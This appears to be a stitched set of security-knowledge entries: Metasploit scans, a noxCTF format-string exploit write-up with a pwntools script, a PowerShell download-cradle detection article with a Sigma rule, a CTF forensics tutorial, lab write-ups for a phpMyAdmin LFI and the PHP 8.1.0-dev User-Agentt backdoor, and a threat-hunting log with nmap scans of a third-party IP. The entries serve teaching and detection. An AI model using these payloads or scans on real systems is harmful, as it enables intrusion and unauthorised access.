Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/ftp/ftp_version) > exploit [*] Scanned 51 of 256 hosts (19% complete) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 100 of 256 hosts (39% complete) [+] 192.168.1.119:21 ‐ FTP Banner: '220 Microsoft FTP Service\x0d\x0a' [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 133 of 256 hosts (51% complete) [*] Scanned 183 of 256 hosts (71% complete) [*] Scanned 197 of 256 hosts (76% complete) [*] Scanned 229 of 256 hosts (89% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/f6190ef2a7165ce148af70d8fde88ddc.jpg) ### 四:基于scanner/discovery/arp_sweep发现内网存活主机 ```bash msf auxiliary(scanner/discovery/arp_sweep) > show options Module options (auxiliary/scanner/discovery/arp_sweep): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ INTERFACE no The name of the interface RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier SHOST no Source IP Address SMAC no Source MAC Address THREADS 50 yes The number of concurrent threads TIMEOUT 5 yes The number of seconds to wait for new data msf auxiliary(scanner/discovery/arp_sweep) > exploit [+] 192.168.1.1 appears to be up (UNKNOWN). [+] 192.168.1.2 appears to be up (UNKNOWN). [+] 192.168.1.119 appears to be up (VMware, Inc.). [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/ffadf4bf3cace0a835ea5e7ce94ea68e.jpg) ### 五:基于scanner/discovery/udp_sweep发现内网存活主机 ```bash msf auxiliary(scanner/discovery/udp_sweep) > show options Module options (auxiliary/scanner/discovery/udp_sweep): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/discovery/udp_sweep) > exploit [*] Sending 13 probes to 192.168.1.0‐>192.168.1.255 (256 hosts) [*] Discovered DNS on 192.168.1.1:53 (ce2a8500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7 5206d757374206265206a6f6b696e67) [*] Discovered NetBIOS on 192.168.1.2:137 (JOHN‐PC:<00>:U :WORKGROUP:<00>:G :JOHN‐PC:<20>:U :WORKGROUP:<1e>:G :WORKGROUP:<1d>:U :__MSBROWSE__ <01>:G :4c:cc:6a:e3:51:27) [*] Discovered NetBIOS on 192.168.1.119:137 (WIN03X64:<00>:U :WIN03X64:<20>:U :WORKGROUP:<00>:G :WORKGROUP:<1e>:G :WIN03X64:<03>:U :ADMINISTRA TOR:<03>:U :WIN03X64:<01>:U :00:0c:29:85:d6:7d) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/30316c44faf3c6dacacfb382a5ffdc94.jpg) > Micropoor
sec-knowleage
# Writeup - noxCTF - believeMe ("Pwn" Category) ## Instructions: What is going on here ? I don't believe you... you are crazy !!! (No ASLR) nc 18.223.228.52 13337 *[A binary file was attached as well]* ## Solution: We connect to the supplied address and receive the following output: ```console $ nc 18.223.228.52 13337 Someone told me that pwning makes noxāle... But......... how ???? ``` We can then enter text, which is echoed right back at us. The connection is then immediately closed. After trying various inputs, we see the following: ```console $ nc 18.223.228.52 13337 $ echo "%x" | nc 18.223.228.52 13337 Someone told me that pwning makes noxāle... But......... how ???? 804890c ``` This application is vulnerable to a Format String attack (a good reference for Format String attacks can be found [here](http://julianor.tripod.com/bc/formatstring-1.2.pdf)). Let's take a look at the assembly: ![](images/image001.png) The program uses `fgets` to read the input from the user into the local `input` buffer, uses `strcspan` to replace the line feed (`\n`) with a null terminator, and immediately calls `printf` with the input as the `format` parameter. Therefore, any format specifier supplied by the user will be interpreted and handled by `printf`. Assuming we can use this vulnerability to perform arbitrary memory reads and writes, how do we use that to read the flag? Fortunately, the creators supplied us with a convenient `noxFlag` function: ![](images/image002.png) It opens `flag.txt`, and outputs the contents. the function is not referenced from anywhere, but if we can take control of some return address, we can jump to it and get the flag. Let's see what can we easily access using our format string vulnerability by leaking some values from the stack: ```console $ echo "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" | nc 18.223.228.52 13337 && echo "" Someone told me that pwning makes noxāle... But......... how ???? AAAA804890c.f7fc95c0.8099dd00.9.ffffdec9.f7e24049.ffffddc4.f7fc9000.41414141.252e7825.78252e78. $ echo "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" | nc 18.223.228.52 13337 && echo "" Someone told me that pwning makes noxāle... But......... how ???? AAAA804890c.f7fc95c0.26a07e00.9.ffffdec9.f7e24049.ffffddc4.f7fc9000.41414141.252e7825.78252e78. $ echo "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" | nc 18.223.228.52 13337 && echo "" Someone told me that pwning makes noxāle... But......... how ???? AAAA804890c.f7fc95c0.eae92300.9.ffffdec9.f7e24049.ffffddc4.f7fc9000.41414141.252e7825.78252e78. ``` We start by printing "AAAA" to easily locate the beginning of our `input` buffer, then read 13 DWORDs from the stack using `%x`. We can see our `input` buffer as the ninth DWORD from the beginning of the stack (0x41414141, which is "AAAA" in ASCII). Before that, we have two DWORDs which are also part of `main`'s local variables, as identified by IDA: ![](images\image003.png) So `VAR_3C` (the first local variable of `main`) got the value of 0xffffddc4. The variables before that got their value anytime before `printf` printed the output we saw. We can also see that most leaked values don't change between calls, so if one of the values resembles an address on the stack, and the value doesn't change between calls (thank you for disabling ASLR), we can use this value to calculate the address of a return pointer and override it in order to hijack the flow. Let's study the leaked values a bit more by running the program locally and using a debugger. ```console root@kali:/media/sf_CTFs/noxale/believe# echo "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" > input.txt root@kali:/media/sf_CTFs/noxale/believe# gdb ./believeMe GNU gdb (Debian 7.12-6+b1) 7.12.0.20161007-git [...] Reading symbols from ./believeMe...(no debugging symbols found)...done. (gdb) b *0x080487E9 Breakpoint 1 at 0x80487e9 (gdb) r < input.txt Starting program: /media/sf_CTFs/noxale/believe/believeMe < input.txt Someone told me that pwning makes noxāle... But......... how ???? AAAA804890c.f7fb95c0.d05eac00.9.ffffd560.f7e13b09.ffffd3e4.f7fb9000.41414141.252e7825.78252e78. Breakpoint 1, 0x080487e9 in main () (gdb) info proc mappings process 1744 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /media/sf_CTFs/noxale/believe/believeMe 0x8049000 0x804a000 0x1000 0x0 /media/sf_CTFs/noxale/believe/believeMe 0x804a000 0x804b000 0x1000 0x1000 /media/sf_CTFs/noxale/believe/believeMe 0x804b000 0x806d000 0x22000 0x0 [heap] 0xf7de3000 0xf7dfc000 0x19000 0x0 /lib32/libc-2.27.so 0xf7dfc000 0xf7f48000 0x14c000 0x19000 /lib32/libc-2.27.so 0xf7f48000 0xf7fb6000 0x6e000 0x165000 /lib32/libc-2.27.so 0xf7fb6000 0xf7fb7000 0x1000 0x1d3000 /lib32/libc-2.27.so 0xf7fb7000 0xf7fb9000 0x2000 0x1d3000 /lib32/libc-2.27.so 0xf7fb9000 0xf7fba000 0x1000 0x1d5000 /lib32/libc-2.27.so 0xf7fba000 0xf7fbd000 0x3000 0x0 0xf7fce000 0xf7fd0000 0x2000 0x0 0xf7fd0000 0xf7fd3000 0x3000 0x0 [vvar] 0xf7fd3000 0xf7fd5000 0x2000 0x0 [vdso] 0xf7fd5000 0xf7fd6000 0x1000 0x0 /lib32/ld-2.27.so 0xf7fd6000 0xf7ff1000 0x1b000 0x1000 /lib32/ld-2.27.so 0xf7ff1000 0xf7ffb000 0xa000 0x1c000 /lib32/ld-2.27.so 0xf7ffc000 0xf7ffd000 0x1000 0x26000 /lib32/ld-2.27.so 0xf7ffd000 0xf7ffe000 0x1000 0x27000 /lib32/ld-2.27.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack] (gdb) ``` We can see that the stack is between 0xfffdd000-0xffffe000, and that we have two leaked values which fit in that range: 0xffffd560 and 0xffffd3e4 (note that we are running locally and therefore the leaked values are different). Another observation is that the value of 0xffffd3e4 is in fact stored in `main`'s local variable `var_3C` that we've seen earlier. Let's restart, break on the call to `printf` and try to locate the address on the stack storing the return address to `main`. ``` (gdb) b *0x080487D3 Breakpoint 2 at 0x80487d3 (gdb) set disassembly-flavor intel (gdb) display/i $pc (gdb) r < input.txt The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /media/sf_CTFs/noxale/believe/believeMe < input.txt Someone told me that pwning makes noxāle... But......... how ???? Breakpoint 4, 0x080487d3 in main () 1: x/i $pc => 0x80487d3 <main+124>: call 0x80484b0 <printf@plt> (gdb) si 0x080484b0 in printf@plt () 1: x/i $pc => 0x80484b0 <printf@plt>: jmp DWORD PTR ds:0x804a00c (gdb) x /20xw $esp 0xffffd2dc: 0x080487d8 0xffffd304 0x0804890c 0xf7fb95c0 0xffffd2ec: 0x3969e200 0x00000009 0xffffd560 0xf7e13b09 0xffffd2fc: 0xffffd3e4 0xf7fb9000 0x41414141 0x252e7825 0xffffd30c: 0x78252e78 0x2e78252e 0x252e7825 0x78252e78 0xffffd31c: 0x2e78252e 0x252e7825 0x78252e78 0xff00252e (gdb) ``` So right after stepping into the call to `printf`, the return address to `main` (0x080487d8) is pushed on to the stack at address 0xffffd2dc. The value of `var_3C` was 0xffffd3e4, and the difference is 0xffffd3e4 - 0xffffd2dc = 0x108. Therefore, the plan is to: - Run once, note the value of `var_3C` - Subtract 0x108 from that value, and get the address storing the return value from `printf` to `main` - Run again, override the return address (0x080487d8) with the address of `noxFlag` (0x0804867B) - When returning from `printf`, the flow will continue to `noxflag` and print the flag We already have the value of `var_3C` from the server: 0xffffddc4. 0xffffddc4 - 0x108 = 0xffffdcbc. Let's start building our format string to write to that address: ```console root@kali:~# python -c "print ('\xbc\xdc\xff\xff%4x%9\$p')" | nc 18.223.228.52 13337 && echo "" Someone told me that pwning makes noxāle... But......... how ???? ����804890c0xffffdcbc ``` What do we have here? - "\xbc\xdc\xff\xff": This is the address we want to write to (0xffffdcbc), formatted as little-endian. - "%4x" - A placeholder which will be used in order to control the value written to the address above, by utilizing the width specifier (currently set to 4). changing the width specifier allows controlling the amount of characters written as part of this format specifier. Note: This format specifier currently causes the value of "804890c" to be printed, but the actual value being printed is not important since we just want to use this format specifier to control the number of characters printed. - "%9\$p" - "Take the ninth DWORD from the stack, treat it as a pointer and print it" - just in order to make sure we are able to locate the address we want to write to (and indeed, it prints 0xffffdcbc). When we change the "p" to "n", `printf` will dereference this address and write to it the number of characters outputted (which we can control using the width specifier as explained above). We're almost set, just a few more minor tweaks and we're done. When we use "%n" to write the amount of characters outputted, the value gets written as a DWORD. Since the value we want to write (the address of `noxFlag`, i.e. 0x0804867B) is pretty large (and is based on characters outputted to the screen), and since the original value (the return address to `main`, i.e. 0x080487d8) is in the same area, we can actually just override the lower WORD, as the upper WORD (0x0804) already contains the value we want. To do that, we use "%hn" instead of "%n" - this will dereference the same address on the stack, but write a WORD to that address. Last but not least, we must modify our width specifier to output the value we want. We want to write "0x867B" (34427). We've already written 4 bytes with "\xbc\xdc\xff\xff". So 34427 - 4 = 34423. Therefore our complete exploit will be: ```console root@kali:~# python -c "print ('\xbc\xdc\xff\xff%34423x%9\$hn')" | nc 18.223.228.52 13337 Someone told me that pwning makes noxāle... But......... how ???? ���� [many spaces...] 804890c Hooo right... noxāle noxCTF{%N3ver_%7rust_%4h3_%F0rmat} root@kali:~# ``` The flag: **noxCTF{%N3ver_%7rust_%4h3_%F0rmat}** Exploit using pwntools: ```python from pwn import * PROC_NAME = "./believeMe" def send_payload(payload, proc): log.info("payload = {} (len = {})".format(repr(payload), len(payload))) proc.sendline(payload) ret = proc.recvall() log.info("return = {}".format(repr(ret))) return ret def send_payload_local(payload): return send_payload(payload, process(PROC_NAME)) def send_payload_remote(payload): return send_payload(payload, remote('18.223.228.52', 13337)) f = FmtStr(execute_fmt=send_payload_local) offset = f.offset log.info("Found offset = {}".format(offset)) f = FmtStr(execute_fmt=send_payload_remote, offset = offset) var_3C = f.leak_stack(7) log.info("Address on stack = {}".format(hex(var_3C))) ret_addr = var_3C - 0x108 log.info("Return address location = {}".format(hex(ret_addr))) e = ELF(PROC_NAME) noxFlag_addr = e.symbols['noxFlag'] log.info("noxFlag address = {}".format(hex(noxFlag_addr))) f = FmtStr(execute_fmt=send_payload_remote, offset = offset) f.write(ret_addr, noxFlag_addr) f.execute_writes() ```
sec-knowleage
# T1059-001-win-检测Powershell下载文件 ## 来自ATT&CK的描述 攻击者可能滥用PowerShell来执行命令和脚本。PowerShell是Windows操作系统中包含的功能强大的交互式命令行界面和脚本环境。攻击者可以使用PowerShell执行许多操作,包括发现信息和执行恶意代码。示例包括Start-Process可用于运行可执行文件的Invoke-Commandcmdlet和可在本地或远程计算机上运行命令的cmdlet(尽管使用PowerShell连接到远程系统需要管理员权限)。 PowerShell也可以用于从Internet下载并运行可执行文件,这些可执行文件可以从磁盘或内存中执行而无需接触磁盘。 许多基于PowerShell的攻击性测试工具,包括Empire,PowerSploit,PoshC2和PSAttack。 还可以执行PowerShell命令脚本,而无需通过.NET框架和Windows公共语言接口(CLI)公开的powershell.exePowerShell底层System.Management.Automation程序集DLL的接口直接调用二进制文件。 ## 检测日志 Windows powershell日志审核策略 - 按Win+R打开Windows运行窗口,在输入框里输入gepdit.msc,打开Windows本地组策略编辑器; - 找到计算机配置/管理模板/Windows组件/Windows Powershell,根据需求打开右侧所需要的日志功能; ## 测试复现 ```yml PS C:\Users\12306br0> IEX (New-Object System.Net.Webclient).DownloadString('http://blog.csdn.net/huangxvhui88/article/de tails/89361287') ``` ## 测试留痕 ```yml Powershell事件ID:4104 正在创建 Scriptblock 文本(已完成 1,共 1): IEX (New-Object System.Net.Webclient).DownloadString('http://blog.csdn.net/huangxvhui88/article/details/89361287') ScriptBlock ID: e9f29288-34e7-497f-8fff-9a6cf6c355da ``` ## 检测规则/思路 ### sigma规则 ```yml title: 检测PowerShell下载文件行为 status: experimental description: 检测在powershell下载文件行为,windows server 2016测试 tags: - attack.t1059-001 - attack.execution logsource: category: process_creation product: windows detection: selection: Image: - '*\powershell.exe' - '*\powershell_ise.exe' CommandLine: - '*Net.WebClient*' - '*DownloadFile*' - '*Invoke-WebRequest*' - '*Invoke-Shellcode*' - '*http*' - '*Start-BitsTransfer*' - '*IEX*' - '*mpcmdrun.exe*' condition: selection level: medium ``` ### 建议 在使用Powershell日志进行检测时,我们不建议使用进程名称加命令行关键词匹配的方式进行检测。因为Powershell事件ID:4104中并不包含进程信息。 ## 参考推荐 MITRE-ATT&CK-T1059-001 <https://attack.mitre.org/techniques/T1059/001/> PowerShell 下载文件 <https://www.pstips.net/powershell-download-files.html> 检测Powershell下载文件行为 <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/PowerShell%20downloads.txt> Powershell与威胁狩猎 <https://www.freebuf.com/articles/terminal/267080.html>
sec-knowleage
# 取证隐写前置技术 大部分的 CTF 比赛中,取证及隐写两者密不可分,两者所需要的知识也相辅相成,所以这里也将对两者一起介绍。 任何要求检查一个静态数据文件从而获取隐藏信息的都可以被认为是隐写取证题(除非单纯地是密码学的知识),一些低分的隐写取证又常常与古典密码学结合在一起,而高分的题目则通常用与一些较为复杂的现代密码学知识结合在一起,很好地体现了 Misc 题的特点。 ## 前置技能 - 了解常见的编码 能够对文件中出现的一些编码进行解码,并且对一些特殊的编码(Base64、十六进制、二进制等)有一定的敏感度,对其进行转换并得到最终的 flag。 - 能够利用脚本语言(Python 等)去操作二进制数据 - 熟知常见文件的文件格式,尤其是各类 [文件头](https://en.wikipedia.org/wiki/List_of_file_signatures)、协议、结构等 - 灵活运用常见的工具 ## Python 操作二进制数据 ### struct 模块 有的时候需要用 Python 处理二进制数据,比如,存取文件,socket 操作时。这时候,可以使用 Python 的 struct 模块来完成。 struct 模块中最重要的三个函数是 `pack()`、`unpack()` 和 `calcsize()` - `pack(fmt, v1, v2, ...)` 按照给定的格式(fmt),把数据封装成字符串(实际上是类似于c结构体的字节流) - `unpack(fmt, string)` 按照给定的格式(fmt)解析字节流 string,返回解析出来的 tuple - `calcsize(fmt)` 计算给定的格式(fmt)占用多少字节的内存 这里打包格式 `fmt` 确定了将变量按照什么方式打包成字节流,其包含了一系列的格式字符串。这里就不再给出不同格式字符串的含义了,详细细节可以参照 [Python Doc](https://docs.python.org/2/library/struct.html) ```python >>> import struct >>> struct.pack('>I',16) '\x00\x00\x00\x10' ``` `pack` 的第一个参数是处理指令,`'>I'` 的意思是:`>` 表示字节顺序是 Big-Endian,也就是网络序,`I` 表示 4 字节无符号整数。 后面的参数个数要和处理指令一致。 读入一个 BMP 文件的前 30 字节,文件头的结构按顺序如下 - 两个字节:`BM` 表示 Windows 位图,`BA` 表示 OS/2 位图 - 一个 4 字节整数:表示位图大小 - 一个 4 字节整数:保留位,始终为 0 - 一个 4 字节整数:实际图像的偏移量 - 一个 4 字节整数:Header 的字节数 - 一个 4 字节整数:图像宽度 - 一个 4 字节整数:图像高度 - 一个 2 字节整数:始终为 1 - 一个 2 字节整数:颜色数 ```python >>> import struct >>> bmp = '\x42\x4d\x38\x8c\x0a\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00\x80\x02\x00\x00\x68\x01\x00\x00\x01\x00\x18\x00' >>> struct.unpack('<ccIIIIIIHH',bmp) ('B', 'M', 691256, 0, 54, 40, 640, 360, 1, 24) ``` ### bytearray 字节数组 将文件以二进制数组形式读取 ```python data = bytearray(open('challenge.png', 'rb').read()) ``` 字节数组就是可变版本的字节 ```python data[0] = '\x89' ``` ## 常用工具 ### [010 Editor](http://www.sweetscape.com/010editor/) SweetScape 010 Editor 是一个全新的十六进位文件编辑器,它有别于传统的十六进位编辑器在于它可用「范本」来解析二进位文件,从而让你读懂和编辑它。它还可用来比较一切可视的二进位文件。 利用它的模板功能可以非常轻松的观察文件内部的具体结构并且依此快速更改内容。 ### `file` 命令 `file` 命令根据文件头(魔法字节)去识别一个文件的文件类型。 ```shell root in ~/Desktop/tmp λ file flag flag: PNG image data, 450 x 450, 8-bit grayscale, non-interlaced ``` ### `strings` 命令 打印文件中可打印的字符,经常用来发现文件中的一些提示信息或是一些特殊的编码信息,常常用来发现题目的突破口。 - 可以配合 `grep` 命令探测指定信息 ```shell strings test|grep -i XXCTF ``` - 也可以配合 `-o` 参数获取所有 ASCII 字符偏移 ```shell root in ~/Desktop/tmp λ strings -o flag|head 14 IHDR 45 gAMA 64 cHRM 141 bKGD 157 tIME 202 IDATx 223 NFdVK3 361 |;*- 410 Ge%<W 431 5duX@% ``` ### `binwalk` 命令 binwalk 本是一个固件的分析工具,比赛中常用来发现多个文件粘合再在一起的情况。根据文件头去识别一个文件中夹杂的其他文件,有时也会存在误报率(尤其是对Pcap流量包等文件时)。 ```shell root in ~/Desktop/tmp λ binwalk flag DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 450 x 450, 8-bit grayscale, non-interlaced 134 0x86 Zlib compressed data, best compression 25683 0x6453 Zip archive data, at least v2.0 to extract, compressed size: 675, uncompressed size: 1159, name: readme.txt 26398 0x671E Zip archive data, at least v2.0 to extract, compressed size: 430849, uncompressed size: 1027984, name: trid 457387 0x6FAAB End of Zip archive ``` 配合 `-e` 参数可以进行自动化提取。 也可以结合 `dd` 命令进行手动切割。 ```shell root in ~/Desktop/tmp λ dd if=flag of=1.zip bs=1 skip=25683 431726+0 records in 431726+0 records out 431726 bytes (432 kB, 422 KiB) copied, 0.900973 s, 479 kB/s ```
sec-knowleage
# Postbook ## [Flag0](./flag0) -- Found - The person with username "user" has a very easy password... ## [Flag1](./flag1) -- Found - Try viewing your own post and then see if you can change the ID ## [Flag2](./flag2) -- Found - You should definitely use "Inspect Element" on the form when creating a new post ## [Flag3](./flag3) -- Found - 189 * 5 ## [Flag4](./flag4) -- Found - You can edit your own posts, what about someone else's? ## [Flag5](./flag5) -- Found - The cookie allows you to stay signed in. Can you figure out how they work so you can sign in to user with ID 1? ## [Flag6](./flag6) -- Found - Deleting a post seems to take an ID that is not a number. Can you figure out what it is?
sec-knowleage
# phpmyadmin 4.8.1 Remote File Inclusion Vulnerability (CVE-2018-12613) [中文版本(Chinese version)](README.zh-cn.md) PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. The vulnerability is in the `index.php`, causing files iclusion vulnerabilitiy. Reference links: - https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog - https://www.phpmyadmin.net/security/PMASA-2018-4/ ## Setup Run the following command to start phpmyadmin 4.8.1: ``` docker compose up -d ``` After the environment starts, visit `http://your-ip:8080`. The phpmyadmin is "config" mode, so we can login directly. ## Exploit Visit `http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`, the result indicates that the file inclusion vulnerability exist: ![](1.png) We can execute `SELECT '<?=phpinfo()?>';`, then check your sessionid (the value of phpMyAdmin in the cookie), and then include the session file: ![](2.png)
sec-knowleage
# AppSec-IL 2023 Writeups for several challenges from the [AppSec-IL 2023 CTF](https://appsecil2023.ctf.today/).
sec-knowleage
# PHP 8.1.0-dev User-Agentt Backdoor [中文版本(Chinese version)](README.zh-cn.md) PHP version 8.1.0-dev was implanted with a backdoor on March 28, 2021, but the backdoor was quickly discovered and removed. When this backdoor is present on a server, an attacker can execute arbitrary code by sending a **User-Agentt** header. References: - https://news-web.php.net/php.internals/113838 - https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a ## Vulnerable Environment Start a PHP 8.1-dev server with the backdoor. ``` docker compose up -d ``` After the environment is started, the service runs at ``http://your-ip:8080``. ## Vulnerability Reproduce Send the following request to execute the code `var_dump(233*233);`: ``` GET / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 User-Agentt: zerodiumvar_dump(233*233); Connection: close ``` ![](1.png)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP GROUP" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP GROUP \- 删除一个用户组 .SH SYNOPSIS .sp .nf DROP GROUP \fIname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP GROUP\fR 从数据库中删除指定的组。组中的用户不被删除。 组中的用户不被删除。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 现存组名。 .SH "EXAMPLES 例子" .PP 删除一个组: .sp .nf DROP GROUP staff; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准里没有 DROP GROUP。 .SH "SEE ALSO 参见" ALTER GROUP [\fBalter_group\fR(7)], CREATE GROUP [\fBcreate_group\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# 威胁狩猎实战 通过监控学校的官网,发现了一个访问次数非常大的一个IP:`115.239.194.82`,以此为目标来进行Hunting。 ## 通过TI平台查询 ### 通过微步查询该IP ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814163558.png) 可以看到这个IP标签为: - 僵尸网络 - 扫描 - 垃圾邮件 - 装库 - 撞库 - 网关 ### 通过内部系统查看 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814165945.png) 提供内部系统查询该IP的解析信息,发现了`edu.cn`,`vpn.zjxz.edu.cn`等域名,疑似为教育系统的资产。 #### 提出假设 是浙师大行知学院(独立学院)那边的VPN地址,然后行知的学生通过它来连接浙师大的官网`zjnu.edu.cn`,请求的量很大,所以被识别为了僵尸网络 ## Graph分析![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814164934.png) ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814183602.png) ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814182821.png) 可以看到,该IP关联出来的,曾经绑定过的域名为:`www-zjxz-edu-cn.cname.saaswaf.com`,它的域为`saaswaf.com`,这个带有waf字样,且与其他的几个明显不同,因此需要进行下一步分析 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814183422.png) 通过ICP备案,查询到该此为安恒的玄武盾云WAF。 ## 主机信息搜集 ### 发现主机地址位置 发现其地理位置为:中国 浙江 金华 ### 反查域名信息 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814164210.png) 查看该IP域名反查记录,发现其绑定过`www.zjxz.cn`域名,该域名指向“浙江师范大学 行知学院(独立学院)”的相关信息。通过查询,浙师行知学院的官方域名是`www.zjxz.edu.cn`。 ### 发现端口信息(被动探测) ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814165844.png) 通过被动扫描信息,发现这个IP开着两个端口:4443和10443端口。接下来分析该端口服务的特征。 ### 分析端口服务(被动探测) #### 分析4443端口 4443端口,提供查询,发现该端口与一个内网穿透服务`ngork`一致,ngork是开源,项目地址是:https://github.com/inconshreveable/ngrok > **什么是ngrok呢?ngrok是一个反向代理,它能够让你本地的web服务或tcp服务通过公共的端口和外部建立一个安全的通道,使得外网可以访问本地的计算机服务。** 也就是说,我们提供的服务(比如web站点)无需搭建在外部服务器,只要通过ngrok把站点映射出去,别人即可直接访问到我们的服务。[1] #### 分析10443端口 通过[SpeedGuide](https://www.speedguide.net/)查询到该端口通常当作备用的SSL端口,且其被用于Fortinet SSL VPN的备用端口 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814170807.png) 图:[来源](https://www.speedguide.net/port.php?port=10443#) #### 综合分析 通过被动扫描信息发现,该IP地址总共开放两个端口:4443和10443。前者疑似为一个内网穿透服务,后者疑似为VPN SSL端口。 所以总体来说,通过被动端口探测,是疑似为VPN服务。 ### 发现端口信息(主动探测) 使用Nmap探测该IP的开放端口信息(部分) 注:Nmap默认扫描从1到1024再加上nmap-services(nmap-services是一个包含大约2200个著名的服务的数据库)列出的端口 ```bash $ sudo proxychains nmap -sS 115.239.194.82 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-14 09:21 UTC Nmap scan report for 115.239.194.82 Host is up (0.054s latency). Not shown: 994 closed ports PORT STATE SERVICE 22/tcp filtered ssh 23/tcp filtered telnet 80/tcp filtered http 445/tcp filtered microsoft-ds 4443/tcp open pharos 4444/tcp filtered krb524 ``` 探测全部的开放端口信息,指定全部端口(1-65535) ```bash sudo proxychains nmap -sS 115.239.194.82 -p 1-65535 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-14 09:28 UTC PORT STATE SERVICE 22/tcp filtered ssh 23/tcp filtered telnet 80/tcp filtered http 445/tcp filtered microsoft-ds 3288/tcp open cops 4443/tcp open pharos 4444/tcp filtered krb524 5554/tcp filtered sgi-esphttp 8118/tcp open privoxy 8887/tcp open unknown 10443/tcp open unknown 40442/tcp open unknown 44430/tcp filtered unknown Nmap done: 1 IP address (1 host up) scanned in 159.40 seconds ``` ### 分析端口服务(主动探测) #### 分析被过滤端口 通过上面的主动探测,可以看到在Nmap的STATE中,22、23、80、445、4444、5554、44430都显示为filtered(被过滤)状态,这些端口都是相对“高危”的,可以看到是有意进行过防护。 注:Nmap状态——filtered(被过滤的),表示由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则或者主机上的软件防火墙。[2] 以下是Nmap探测到的,被过滤的端口: - 22,SSH服务 - 23,telnet服务 - 80,http服务 - 445,重点,通常用于SMB(Server Message Block)协议,进行文件共享,常在老版本的Microsoft Server上发现,该端口比较“高危” - 4444,重点,该端口是众多木马的特征,主动或被动地在进行监听,但被过滤,可以看出其进行了防护 - 5554,重点,该端口也是木马监听端口,Sasser Worm FTP Server,同样也进行了防护 - 44430,未发现明显特征 #### 分析8118端口 还可以发现,该IP开放了8118端口,疑似为代理服务`Privoxy` > Privoxy是一款不进行网页缓存且自带过滤功能的代理服务器,针对HTTP、HTTPS协议。通过其过滤功能,用户可以保护隐私、对网页内容进行过滤、管理Cookie,以及拦阻各种广告等。Privoxy可以单机使用,也可以应用到多用户的网络。[3] #### 分析8887端口 通过[SpeedGuide](https://www.speedguide.net/)查询到该端口用于I2P领域: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814180030.png) 另外,在中文论坛搜索到了以下相关的信息,来源于华为企业互动社区的提问,再次出现了“VPN”关键词: > USG6000系列防火墙外网扫公司的接口地址发现开了8888端口,可是这个我没有做端口映射啊,现在怀疑是不是开了L2TP VPN导致的,可是记得L2TP VPN采用的是1701端口啊,我怎么才能知道这个端口是什么应用,现在VPN一直用着,也不敢关?[4] #### 分析40442端口 